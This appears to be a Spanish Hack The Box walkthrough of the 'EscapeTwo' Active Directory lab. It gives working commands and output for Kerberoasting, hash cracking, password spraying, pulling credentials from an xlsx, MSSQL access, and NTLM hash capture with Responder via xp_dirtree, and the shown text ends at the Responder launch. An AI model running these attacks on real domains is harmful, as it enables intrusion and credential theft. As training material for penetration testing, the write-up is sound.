🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • Kerberoasting Attack (FAILED)
  • AS-REP Roast Attack (FAILED)
  • Shell as sql_svc
  • SMB Enumeration
  • Information Extraction from an Unreadable Excel File via Decompression
  • Password Spraying
  • MSSQL Enumeration
  • Abusing xp_cmdshell component on MSSQL (RCE)
  • Auth as ryan
  • Sensitive Credentials Exposed in SQL Server Configuration File
  • Password Spraying
  • Auth as ca_svc
  • BloodHound Enumeration
  • Abusing WriteOwner privileges to gain full control from a user
  • Shadow Credentials Attack through certipy-ad
  • Auth as Administrator
  • ESC4 exploitation case with certipy-ad
  • Abusing through Pass-the-Hash (PtH) on NetExec

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Easy

EscapeTwo

AnteriorCicadaSiguienteFluffy

Última actualización hace 14 días

¿Te fue útil?

EscapeTwo es una máquina Windows de dificultad fácil centrada en un escenario de compromiso completo de dominio, donde se nos proporcionan credenciales de un usuario con pocos privilegios. Aprovechamos estas credenciales para acceder a un recurso compartido que contiene un archivo Excel dañado. Modificando su estructura de bytes logramos extraer credenciales, que luego utilizamos en un ataque de password spraying en el dominio, obteniendo acceso válido a un usuario con permisos sobre MSSQL.

Desde ahí, enumeramos el sistema y conseguimos nuevas credenciales de SQL, que al aplicarlas nos permiten acceso por WinRM. Al continuar con el análisis del dominio, descubrimos que el usuario tiene privilegios de WriteOwner sobre una cuenta que administra los ADCS. Esto nos permite enumerar los servicios de certificados, donde encontramos una configuración insegura en Active Directory Certificate Services.

Al explotar esta mala configuración, logramos obtener el hash del usuario Administrator, lo que nos permite comprometer completamente el dominio.


Reconnaissance

  1. Detección de puertos TCP abiertos (-p- --open).

  2. Escaneo de versiones (-sV).

  3. Ejecución de scripts NSE típicos para enumeración adicional (-sC).

  4. Exportación del resultado en XML y conversión a HTML para facilitar su lectura.

Para empezar, exportaremos en una variable de entorno llamada IP la dirección IP de la máquina objetivo, lanzaremos la herramienta de iRecon proporcionándole la variable de entorno.

Resumen de Puertos Abiertos

En la enumeración de puertos encontramos importantes como los siguientes:

Puerto
Servicio

88

Kerberos

445

SMB

389

LDAP

636

LDAPS

1433

Microsoft SQL Server (MSSQL)

5985

WinRM

Por los puertos encontrados, parece que nos estamos enfrentando a un Domain Controller (DC) de Windows.

❯ export IP=10.10.11.51
❯ iRecon "$IP"

A través de la herramienta de netexec y ldapsearch enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname, versión del SO y el nombre del dominio.

❯ nxc ldap "$IP"
LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)

❯ ldapsearch -x -H ldap://"$IP" -s base | grep defaultNamingContext
defaultNamingContext: DC=sequel,DC=htb

En nuestro archivo /etc/hosts añadiremos las siguientes entradas correspondientes para que a la hora de hacer referencia al dominio, hostname o FQDN (nombre de dominio completo que identifica de forma única una máquina o servidor en una red).

❯ echo '10.10.11.51 DC01.sequel.htb DC01 sequel.htb' | sudo tee -a /etc/hosts
10.10.11.51 DC01.sequel.htb DC01 sequel.htb

En algunas máquinas de HTB, a veces se nos proporcionan credenciales iniciales como en este caso.

Validaremos las credenciales que se nos han proporcionado, verificando que nos sirven para autenticarnos por LDAP.

❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su'
LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 

Kerberoasting Attack (FAILED)

En este caso ya contamos con credenciales válidas del dominio, intentamos realizar un ataque de Kerberoasting.

Este ataque se basa en solicitar un TGS (Ticket Granting Service) para aquellas cuentas del dominio que tengan asignado un SPN (servicePrincipalName). Para ello, usamos la herramienta GetUserSPNs.py de Impacket, que nos permite identificar usuarios con SPNs asociados y solicitar el TGS correspondiente para luego intentar crackear el hash offline.

En este caso, el ataque tuvo éxito y encontró a dos cuentas que tienen un SPN asignado. Probaremos de crackear de manera offline estos hashes TGS obtenidos en el archivo hashes.txt.

❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su' --kerberoasting hashes.txt
LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
LDAP        10.10.11.51     389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.10.11.51     389    DC01             [*] Total of records returned 2
LDAP        10.10.11.51     389    DC01             [*] sAMAccountName: ca_svc, memberOf: CN=Cert Publishers,CN=Users,DC=sequel,DC=htb, pwdLastSet: 2025-05-24 14:47:35.080394, lastLogon: 2025-05-24 12:34:48.313440
LDAP        10.10.11.51     389    DC01             $krb5tgs$23$*ca_svc$SEQUEL.HTB$sequel.htb\ca_svc*$580c6bce2731f7ab7c30c2b963c6033c$32d2a099c31669365c3c71e99003effeb9385a68515fbac3812e33680076854780a516b66f99fa837963d285753c7858afacbe00058e9d1e8269d4487e0e7792fb950decd287621e93c38dcd14caf30b7db03d6a143199d4513b50e7da92ad65e36a2651a1a27b15916e6b34eb6ad5aad3b480a044aa5f5d7226d0f81b8acee63ecf1eb9acbab3f1e43d74ddcde6fa5be2784a6af5190bc2185485dc65e303caef67f419b6b01b083f6c86949526b84cb60c0f891e436353b88a3343709cc499324fff28806da74ae6f061cabeb08f702f1ff035bf5c2856f9c43b42f7ad8620786ab8e70b0855b441af060258288b5c40f92358842814a0139e4ae4b04c732451306257bef329cfcfe99d87938e0259ae761e31f72e1aa7f62566444f6fc4c82e996b8d5d03ea088121cadbf0eac08e1db698f77c8e89bd822426338fcfc55a9c3b719e4f87610caf315c1f3dfaed3092a0ba9f272a01c6d0bdcae4cf6ef6461a0346edc8b6280a910c4593a507c307c0122de0d93183bf44901e06eae3e4f39a0644bdb3bf97580a627f3a526334046e2abed4c59dcc9421f4e3afb60689ccf010df1422e5489f89e8a851179f3609cabcab632f33ae7aef790c651f5a73402f44d106ee044123b1945704979e7f4f208cc4371d65d718101901eb728826cf61390c73d06ab7f73f9601b202804a10391370d932f287419b1885a97c18e3a5b07a382f81d92a923dd0ff6aa83a341b12dd2a90761d74722ca0a56d294f37321fd9e86f96021de976b6b04426f02c505491c0fddd92cb058b5af180bdee3ed902b0aba7ffeaba9b8651ae4e904fd77eb640182cd98e75356b8c26f97404739d93042d3725f2b259b48fa1f16388529ec0f10c9d1be182615dd64466e9d66c3bbe14454423887dc462fb581e0959bcef125771cd440c81afcebabc30eb98f5b995797fe1fa6fba18657bcf7dea5fc2503b69fb3b883f507618c9287826555c2f6dcdff23beec2f2edc9a3f939578c77e1ef8f5f863e81063e812dfb7bb5cc40c70f9ff1a5214e52dc102ff149fce3ccb337d1529244d9ec436bd90e845f1be679faf89daa7530a321d023b73ad1e4f1c0529c89e960ee78d8192481fa66f89d5962a9f9ab52ba6178868083388876c4306744de61c0d5ebd8ef3afafc074020e2ee78ec2192f8b30d695ddaa2cd30038770ac2343308a6a252afcf421d6ae8db9835e15b63d835b22ac45bf9856b1a677f23e1f88d3f1bf57bd3c6852c64257bf83595d3e50d1e0a4a35f113ad5bd07a0be2b4fc4d5df9feb80a5809c46d5cf8dbcd8054e4db997b7586031b8167192e8c9e9292cee13c3692be02db52b42ca41ddb76a97318f2fde90582da074359b70493bb555bb6994d7494e0901887b3678b7405c118189055ee953d3c99957b
LDAP        10.10.11.51     389    DC01             [*] sAMAccountName: sql_svc, memberOf: ['CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb', 'CN=SQLServer2005SQLBrowserUser$DC01,CN=Users,DC=sequel,DC=htb'], pwdLastSet: 2024-06-09 09:58:42.689521, lastLogon: 2025-05-24 12:29:35.499497
LDAP        10.10.11.51     389    DC01             $krb5tgs$23$*sql_svc$SEQUEL.HTB$sequel.htb\sql_svc*$9eb49c7251a7a27d186af2fd68cedb0f$387f6857e3f6f5a26e3b227b590fa93f55708568959afa9b1f61e990e0e26c7a4d25b8a599b7f8d43c5e6ef2dcb35b5542f97dcb5db535068f1c8addcdc86a8fb5e500c599051db8e3316c13c4274513caf055b881b912fcbe2fdc7d3d3d5d6d479558d22f1f6853fad9d1df52ad9bff42e67e4ff9be4bd367a8232f7d2ae97d744ec7ddd70859e969326d7e7fc70d13847ebfd39a9b84f7b170e40a294f277c8b8d32b739c61e2b00ee12c3cd1c7c64ceb9fafd363c1893ec43403aa3ceaf4de671af3d3415d8f3edd99d3f025112efd4d1a4702fdae13b2292218430fd585c5ed7e5e044caad050d64acf831046994b0e7e9c44b8db1302e99dee0d8bfd24778f48d7ecabbbac082d136386b9c8fe981c90e542fcfadf25f1db43a2accb10fdabfd03c3c98c9674b366b01e8c19f341602cf789dac22a34c21838c38fd0fcd213c753cead66c31cabb401e35fd83a4154cf913970aeeeddf10f0497466d4e300b47929fecdbc3fbb3399a1f2f61d789b3fa2952f545db4c6fbff2d33f98439abe1423e7872249600c2f1923931ed4e873e1b5d4ab3597e734504c52d9fc9009ba980a3c26f3eaee7eec26ad9fb0a57ca3d010e31bd41d383e93df5f001773bdb288fd59cf290f26421eae2dbca99c4fc44d1bc24bca164d194dd267fea162aa09807ce603c6b39c0f4e7ddf3d87647939aa8c4eb4b4f8a647091137b31b7956be89e8807cbe12f635bec9f80c2104ef2a1b1f650f070054016f85aa73fc1286837b6bdc8e7dfb757fee99f9cef31491ddc919d51c65c5c9fca63ccaef8a16e1b9fd69d1b26bfff65ad34ef027d625e92b3b2c70fe6c5141622567dd6efbb8f3a33ec44a41544889aa111c891308b1de6bc78a9ec8c6874f4d3c8284f841cd93531082ae6250268bcd0af98d97750ab1920eea71115814d878d8ff6ee04cf91bba0ffcf9b13b72fb949942034267ff7ed642242fcde36b37a5d8bda3f253919f7db5158ea94ac8ab74b26226006e49d5a6e7ee74da71e8ee1100d4a66fba99dcb2547a9936e105d65270a0248480667957ec4c950046635546245b66ab62c32052cd7ff8504b7727a712198ccfc001ae60d8731015abde519c15d26cb04e1ee0d50072aa7c6dfa37c5a87f2faf248126dd47d8cac0cae68f8d63a69d3981081833c18f45e83b8e5d9134e9aec6d02f093573f949591e51031bea381c617f860bd62fc1fd644811c5684d65a98489e8d4e9d723e97701e3a25fab72aade5fb69852173eee672e3c7a5347c831855c133b681e1d442f8abc2e1c825396db3f2d88c92c0cb1f6ceab9f1d77f2df16a08421038f778265ed149ecc20d6cad220b1119802670cc0730bd3d10b7ab3ad480ff3bfc06ece3e8bb4fe4bf57585f37a1cdafe6fb4825fdb483036d06b5eae006

Al intentar crackear a través de hashcat los hashes obtenidos, comprobamos que la contraseña no se encuentra dentro del diccionario típico de rockyou.txt. Comprobaremos más adelante otros tipos de ataques a realizar, etc.

❯ hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2898/5861 MB (1024 MB allocatable), 8MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

...[SNIP]...       

Session..........: hashcat                                
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: hashes.txt
Time.Started.....: Sat May 24 14:51:12 2025 (3 mins, 4 secs)
Time.Estimated...: Sat May 24 14:54:16 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1493.8 kH/s (1.58ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 0/16 (0.00%) Digests (total), 0/16 (0.00%) Digests (new), 0/16 (0.00%) Salts
Progress.........: 229510208/229510208 (100.00%)
Rejected.........: 0/229510208 (0.00%)
Restore.Point....: 14344388/14344388 (100.00%)
Restore.Sub.#1...: Salt:15 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: louise84 -> But_Lying_Aid9!
Hardware.Mon.#1..: Util: 62%

Started: Sat May 24 14:51:04 2025
Stopped: Sat May 24 14:54:17 2025

AS-REP Roast Attack (FAILED)

Realizaremos una enumeración de los usuarios del dominio a través de NetExec. Para ello utilizaremos el siguiente comando para obtener solamente los nombres de uusarios disponibles y los almacenaremos en el archivo users.txt.

❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su' --users | tail -n +5 | awk '{print $5}'
Administrator
Guest
krbtgt
michael
ryan
oscar
sql_svc
rose
ca_svc

❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su' --users | tail -n +5 | awk '{print $5}' > users.txt

Dado que disponemos de un listado potencial de usuarios válidos del dominio, intentamos realizar un AS-REP Roast Attack.

Este ataque consiste en solicitar un TGT (Ticket Granting Ticket) a aquellos usuarios del listado (users.txt) que tengan habilitado el flag DONT_REQ_PREAUTH de Kerberos. Para esto, utilizamos la herramienta GetNPUsers.py de la suite Impacket, que nos permite identificar qué usuarios tienen esa opción activa.

El objetivo es obtener un TGT sin autenticación previa y luego intentar crackear offline la contraseña. Sin embargo, ninguno de los usuarios tenía configurado dicho flag, por lo tanto, no eran susceptibles a AS-REP Roasting.

❯ nxc ldap "$IP" -u users.txt -p '' --asreproast hashes.txt
LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

Shell as sql_svc

SMB Enumeration

A través de las credenciales de rose@sequel.htb, realizaremos una enumeración del servicio SMB. En el resultado obtenido, comprobamos que disponemos del permiso de READ sobre varios recursos compartidos, entre los que destacamos los siguientes:

  • Accounting Department

  • Users

❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ            
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share 
SMB         10.10.11.51     445    DC01             Users           READ 

El módulo spider_plus permite enumerar de forma automática el contenido de los recursos compartidos SMB a los que tenemos acceso, sin necesidad de montarlos manualmente ni navegar carpeta por carpeta.

Este módulo analiza los shares accesibles (como Users, SYSVOL, NETLOGON, etc.), y recopila metadatos sobre todos los archivos y carpetas encontrados: nombre, tamaño, extensiones, rutas, y más. Esto nos permite detectar archivos interesantes, como contraseñas, documentos internos, scripts de login o información sensible, sin descargar nada.

❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' -M spider_plus
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.51     445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.11.51     445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.51     445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  OUTPUT_FOLDER: /home/gzzcoo/.nxc/modules/nxc_spider_plus
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ            
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share 
SMB         10.10.11.51     445    DC01             Users           READ            
SPIDER_PLUS 10.10.11.51     445    DC01             [+] Saved share-file metadata to "/home/gzzcoo/.nxc/modules/nxc_spider_plus/10.10.11.51.json".
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Shares:           7 (Accounting Department, ADMIN$, C$, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Readable Shares:  5 (Accounting Department, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Total folders found:  76
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Total files found:    55
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size average:    28.69 KB
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size min:        0 B
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size max:        512 KB

Tras usar el módulo spider_plus, encontramos varios archivos en los recursos SMB. En el share Accounting Department destacaron dos documentos Excel:

  • accounting_2024.xlsx (9.98 KB)

  • accounts.xlsx (6.62 KB)

Por el nombre y la ubicación, es probable que contengan información interna o sensible relacionada con temas contables. Son archivos que vale la pena revisar más a fondo.

❯ cat /home/gzzcoo/.nxc/modules/nxc_spider_plus/10.10.11.51.json | jq
{
  "Accounting Department": {
    "accounting_2024.xlsx": {
      "atime_epoch": "2024-06-09 12:50:41",
      "ctime_epoch": "2024-06-09 11:45:02",
      "mtime_epoch": "2024-06-09 13:11:31",
      "size": "9.98 KB"
    },
    "accounts.xlsx": {
      "atime_epoch": "2024-06-09 12:52:21",
      "ctime_epoch": "2024-06-09 12:52:07",
      "mtime_epoch": "2024-06-09 13:11:31",
      "size": "6.62 KB"
    }
  },
  "NETLOGON": {},
  "SYSVOL": {

...[SNIP]...

  },
  "Users": {
    "Default/AppData/Local/Microsoft/Windows Sidebar/settings.ini": {
      "atime_epoch": "2018-09-15 09:16:48",
      "ctime_epoch": "2018-09-15 09:16:48",
      "mtime_epoch": "2024-06-09 04:28:00",
      "size": "80 B"
    },
    
 ...[SNIP]...

}

A través de la herramienta NetExec (nxc), descargamos los archivos .xlsx identificados previamente en el recurso compartido Accounting Department, con el objetivo de analizarlos de forma local.

❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file 'accounting_2024.xlsx' 'accounting_2024.xlsx'
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.10.11.51     445    DC01             [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB         10.10.11.51     445    DC01             [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"

❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file 'accounts.xlsx' 'accounts.xlsx'
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
SMB         10.10.11.51     445    DC01             [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB         10.10.11.51     445    DC01             [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"

Information Extraction from an Unreadable Excel File via Decompression

Al intentar abrir cualquiera de los archivos Excel descargados, observamos que no se visualizan correctamente. En lugar de mostrar datos estructurados, se presentan en un formato ilegible, compuesto por caracteres extraños y sin sentido aparente.

Esto sugiere que el archivo no es un documento de Excel convencional o está corrupto. Sin embargo, al tratarse de un archivo .xlsx, sabemos que internamente funciona como un contenedor .zip, lo cual nos da una vía alternativa para intentar extraer su contenido real.

Dado que el archivo accounts.xlsx no se podía visualizar correctamente al abrirlo, procedimos a descomprimirlo directamente utilizando la herramienta unzip. Al tratarse de un archivo .xlsx, sabíamos que internamente es un contenedor ZIP con una estructura basada en archivos XML.

Durante la extracción se desplegaron múltiples archivos XML, como workbook.xml, sheet1.xml, sharedStrings.xml, entre otros, que conforman la estructura y contenido del documento. Esto nos permite analizar el contenido de forma manual, sin depender del visor de Excel.

❯ unzip accounts.xlsx
Archive:  accounts.xlsx
file #1:  bad zipfile offset (local header sig):  0
  inflating: xl/workbook.xml         
  inflating: xl/theme/theme1.xml     
  inflating: xl/styles.xml           
  inflating: xl/worksheets/_rels/sheet1.xml.rels  
  inflating: xl/worksheets/sheet1.xml  
  inflating: xl/sharedStrings.xml    
  inflating: _rels/.rels             
  inflating: docProps/core.xml       
  inflating: docProps/app.xml        
  inflating: docProps/custom.xml     
  inflating: [Content_Types].xml 

Una vez descomprimido el archivo, revisamos el fichero xl/sharedStrings.xml, que contiene los textos visibles dentro de las celdas del Excel. Ahí encontramos datos claramente estructurados como una tabla de usuarios con sus respectivas credenciales:

  • Angela Martin – angela@sequel.htb / 0fwz7Q4mSpurIt99

  • Oscar Martinez – oscar@sequel.htb / 86LxLBMgEWaKUnBG

  • Kevin Malone – kevin@sequel.htb / Md9Wlq1E5bZnVDVo

  • sa – sa@sequel.htb / MSSQLP@ssw0rd!

Esto confirma que el archivo contenía información sensible relacionada con usuarios del dominio, incluyendo credenciales en texto claro, lo cual representa una vulnerabilidad crítica si alguno de estos accesos sigue siendo válido.

❯ cat xl/sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>

Password Spraying

Tras extraer las credenciales del archivo Excel, añadimos los nuevos usuarios que no teníamos previamente al archivo users.txt, y guardamos las contraseñas descubiertas en un archivo aparte (passwords.txt) para su posterior uso en ataques de autenticación.

❯ echo -e 'angela\nkevin\nsa' >> users.txt
❯ echo -e '0fwz7Q4mSpurIt99\n86LxLBMgEWaKUnBG\nMd9Wlq1E5bZnVDVo\nMSSQLP@ssw0rd!' > passwords.txt

A través de NetExec verificamos unas nuevas credenciales válidas obtenidas para el usuario oscar@sequel.htb.

❯ nxc ldap "$IP" -u users.txt -p passwords.txt --continue-on-success | grep -v '[-]'
LDAP                     10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP                     10.10.11.51     389    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG 

A través de este usuario también realizamos la enumeración correspondiente pero no logramos obtener ningún tipo de información adicional.

❯ nxc smb "$IP" -u 'oscar' -p '86LxLBMgEWaKUnBG' --shares
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG 
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ            
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share 
SMB         10.10.11.51     445    DC01             Users           READ  

MSSQL Enumeration

En la enumeración inicial de puertos a través de Nmap, descubrimos que se encontraba el servicio de MSSQL (Microsoft SQL Server) expuesto a través del puerto por defecto 1433. Con lo cual también decidimos probar a autenticarnos con los usuarios que disponíamos para verificar si lográbabmos obtener información interesante.

Despúes de una enumeración con dichos usuarios, comprobamos que podemos autenticarnos al servicio MSSQL.

❯ nxc mssql "$IP" -u 'rose' -p 'KxEPkKe6R8su'
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] sequel.htb\rose:KxEPkKe6R8su 

❯ nxc mssql "$IP" -u 'oscar' -p '86LxLBMgEWaKUnBG'
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] sequel.htb\oscar:86LxLBMgEWaKUnBG 

El hash stealing a través de xp_dirtree es una técnica que se aprovecha de cómo funcionan algunas funciones de MSSQL al acceder a rutas remotas. En concreto, xp_dirtree intenta leer el contenido de una carpeta, y si le damos una ruta UNC (como \\IP\recurso), el servidor intenta autenticarse contra ese recurso compartido.

Esto provoca que el servidor MSSQL envíe automáticamente las credenciales del usuario del servicio (por ejemplo, sql_svc) a nuestra máquina, lo que nos permite capturar su hash NTLMv2 con herramientas como Responder.

Para ello, ejecutaremos nuestro responder que recibirá ese hash NTLMv2.

❯ sudo responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
